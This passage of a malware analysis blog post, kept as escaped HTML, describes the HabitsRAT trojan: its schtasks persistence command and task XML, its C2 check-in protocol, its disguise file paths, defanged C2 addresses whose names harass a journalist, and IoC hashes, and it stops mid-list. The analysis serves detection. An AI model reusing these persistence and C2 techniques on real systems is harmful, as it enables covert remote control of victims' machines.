class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The Windows version of HabitsRAT uses scheduled tasks for persistence. First,
it writes the scheduled task &amp;ldquo;xml&amp;rdquo; to a file located at
&lt;code&gt;%TEMP%\krebsonsecurity.xml&lt;/code&gt;. The content of the file is shown in the snippet
below. The task is added by executing the shell command:
&lt;code&gt;sCHtAsks.exe /create /xml %TEMP%\krebsonsecurity.xml /tn WindowsDefenderScan&lt;/code&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-16&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;Task&lt;/span&gt; &lt;span class="na"&gt;version=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;1.2&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://schemas.microsoft.com/windows/2004/02/mit/task&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;RegistrationInfo&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Date&amp;gt;&lt;/span&gt;2020-12-18T09:56:46.3915265&lt;span class="nt"&gt;&amp;lt;/Date&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Author&amp;gt;&lt;/span&gt;Microsoft Corporation&lt;span class="nt"&gt;&amp;lt;/Author&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;URI&amp;gt;&lt;/span&gt;\Microsoft\MicrosoftUpdater&lt;span class="nt"&gt;&amp;lt;/URI&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/RegistrationInfo&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Triggers&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;BootTrigger&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Enabled&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/Enabled&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Delay&amp;gt;&lt;/span&gt;PT1M&lt;span class="nt"&gt;&amp;lt;/Delay&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/BootTrigger&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Triggers&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Principals&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Principal&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Author&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;UserId&amp;gt;&lt;/span&gt;S-1-5-18&lt;span class="nt"&gt;&amp;lt;/UserId&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;RunLevel&amp;gt;&lt;/span&gt;HighestAvailable&lt;span class="nt"&gt;&amp;lt;/RunLevel&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Principal&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Principals&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Settings&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;MultipleInstancesPolicy&amp;gt;&lt;/span&gt;IgnoreNew&lt;span class="nt"&gt;&amp;lt;/MultipleInstancesPolicy&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;DisallowStartIfOnBatteries&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/DisallowStartIfOnBatteries&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;StopIfGoingOnBatteries&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/StopIfGoingOnBatteries&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;AllowHardTerminate&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/AllowHardTerminate&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;StartWhenAvailable&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/StartWhenAvailable&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;RunOnlyIfNetworkAvailable&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/RunOnlyIfNetworkAvailable&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;IdleSettings&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;StopOnIdleEnd&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/StopOnIdleEnd&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;RestartOnIdle&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/RestartOnIdle&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/IdleSettings&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;AllowStartOnDemand&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/AllowStartOnDemand&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Enabled&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/Enabled&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Hidden&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/Hidden&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;RunOnlyIfIdle&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/RunOnlyIfIdle&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;WakeToRun&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/WakeToRun&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;ExecutionTimeLimit&amp;gt;&lt;/span&gt;PT0S&lt;span class="nt"&gt;&amp;lt;/ExecutionTimeLimit&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Priority&amp;gt;&lt;/span&gt;7&lt;span class="nt"&gt;&amp;lt;/Priority&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Settings&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Actions&lt;/span&gt; &lt;span class="na"&gt;Context=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Author&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Exec&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Command&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pathtobinary
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Command&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Exec&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Actions&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/Task&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Command and Control Communication&lt;span class="hx:absolute hx:-mt-20" id="command-and-control-communication"&gt;&lt;/span&gt;
&lt;a href="#command-and-control-communication" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The RAT uses public-key cryptography to both encrypt and authenticate the
commands from the C2 server. The malware generates a public-private key pair
using an open-source library provided by Proton Mail. Figure 2 shows the call
to the
&lt;a href="https://pkg.go.dev/github.com/ProtonMail/gopenpgp/v2@v2.1.7/helper#GenerateKey"target="_blank" rel="noopener"&gt;GenerateKey&lt;/a&gt;
function and its arguments. The malware uses the machine&amp;rsquo;s hostname as the name
and an email address of &amp;ldquo;&lt;a href="mailto:a@a.a"&gt;a@a.a&lt;/a&gt;&amp;rdquo;. No password is provided and it&amp;rsquo;s requesting a
2048-bit RSA key to be used.&lt;/p&gt;
&lt;p&gt;The key is stored and written to disk. The Linux version of HabitsRAT writes to
&lt;code&gt;$HOME/.config/.accounts-daemon/accounts-daemon.login.conf&lt;/code&gt; if it is running as
a normal user or to &lt;code&gt;/usr/share/accounts-daemon/accounts-daemon.so&lt;/code&gt;. The
Windows version uses &lt;code&gt;%SystemDrive%\Windows\Defender\MsMpEng.dll&lt;/code&gt; or
&lt;code&gt;%APPDATA%\Windows NT\Defender\MsMpEng.dll&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/04/habitsrat-used-to-target-linux-and-windows-servers/images/fig2.png" title="Figure 2: Generation of public-private key pair using the open-source library from Proton Mail." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: Generation of public-private key pair using the open-source library from Proton Mail.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;HabitsRAT sends a &amp;ldquo;check-in&amp;rdquo; POST request to the C2 server to see if it should
execute a command. As part of the request, it sends some data about the
infected machine. The form data of the request is shown below. The data
includes the &lt;code&gt;no_replay&lt;/code&gt; field that holds the sha256 hash of some random data.
This acts like a nonce to prevent executing the same request multiple times.
The request also includes the public key for the malware instance. This is to
allow the C2 server to encrypt the commands to it. It also has a version value
that is hardcoded to 11.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;no_replay: [sha256 hash of random data]
public_key: public key in ascii armour
hostname: [machine hostname]
goos: [linux or window]
goarch: amd64
shell: [$SHELL expanded]
root: [true or false]
version: 11&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The data is sent to &lt;code&gt;https://brian.krebsonsecurity[.]top/checkin&lt;/code&gt;. If no
command is returned, the malware sleeps for 10 seconds and sends the request
again. If the C2 responds with data, the malware checks that the threat actor&amp;rsquo;s
key has signed it. A hardcoded public key is included in the binary. Extracted
information from the key shows that it was generated in December 2020 and
includes a name and a Gmail address.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;pub rsa3072 2020-12-03 [SC] [expires: 2022-12-03]
uid [REDACTED] &amp;lt;[REDACTED]@gmail.com&amp;gt;
sub rsa3072 2020-12-03 [E] [expires: 2022-12-03]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If the correct key has signed the response, HabitsRAT uses its private key to
decrypt the payload. The data has been serialized to JSON and the malware
unmarshals it to the data structure shown below.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CommandList&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;No_replay&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Commands&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The Commands field is passed as arguments to either &lt;code&gt;bash -c&lt;/code&gt; for the Linux
version or &lt;code&gt;cmd /c&lt;/code&gt; for the Windows version.&lt;/p&gt;
&lt;h3&gt;HabitsRAT Version 12&lt;span class="hx:absolute hx:-mt-20" id="habitsrat-version-12"&gt;&lt;/span&gt;
&lt;a href="#habitsrat-version-12" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;A newer Windows version of HabitsRAT has also been found. Much of the
functionality is the same as version 11. The main difference is that it&amp;rsquo;s using
a different C2 public key and supports multiple C2 addresses. As can be seen
from the snippet below, this key was generated on the 2nd of April.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;pub rsa3072 2021-04-02 [SC] [expires: 2023-04-02]
uid Brian Krebs &amp;lt;krebsonsecurity@gmail.com&amp;gt;
sub rsa3072 2021-04-02 [E] [expires: 2023-04-02]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The malware uses four different C2 addresses and picks one out of random. The
addresses are as follows, which includes a domain of Brian Krebs&amp;rsquo;s leaked
social security number:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;https://brian-krebs-erectile-dysfunction[.]com
https://krebsonfellatio[.]net
http://XXX-XX-XXXX.com (Redacted)
hxxp://185.193.126.198&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The addresses are stored at:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;%SystemDrive%\Windows\Defender\Defender.dll
%APPDATA%\Windows NT\Defender\Defender.dll&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The HabitsRAT is a multi-operating system malware targeting both Windows and
Linux environments. There is a lot of code reuse between the two variants. It
provides the attacker with the capability to execute arbitrary code on the
infected machine. To protect its C2 communication, the data is encrypted and
signed using PGP. Ensure internet facing servers are patched to prevent being
infected by HabitsRAT. Indicators of Compromise (IoCs) below can be used to
detect if a server has been compromised. Go malware has been hard to detect by
Antivirus products so it&amp;rsquo;s likely this trend will continue. We have seen threat
actors pivot and target different operating systems with the same codebase for
the malware, resulting in low or undetected malware samples, especially for
Linux—which has a large presence in the cloud. Since the malware is derived
from the same codebase, detection based on
&lt;a href="https://analyze.intezer.com/files/338e41f1a8be56339b039835b06d815a3666c8b0d5725b63be7bf54c8745704a?utm_campaign=research-blog&amp;amp;utm_content=habitsrat-used-to-target-linux-and-windows-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;code reuse&lt;/a&gt;
has proven to be very effective.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Hashes&lt;span class="hx:absolute hx:-mt-20" id="hashes"&gt;&lt;/span&gt;
&lt;a href="#hashes" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Windows version of HabitsRAT&lt;span class="hx:absolute hx:-mt-20" id="windows-version-of-habitsrat"&gt;&lt;/span&gt;
&lt;a href="#windows-version-of-habitsrat" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;29ebf9771e52cde90776eeccd89aaf4c19577ef136258daef1a17c767ce88c9d
37a16e79e5be132d7e6c2e1ee482d80d93ad942af7110a4bc3a05f0b575236b0
5f7d898ade3162bfb0c8d3006c42e934ff81fab3b4ad3b51c13441fd63e438cb
9e840be4b4ab358bc3405e2c688f3ab1a9d286bd4fb9edb4468dc688962b4893
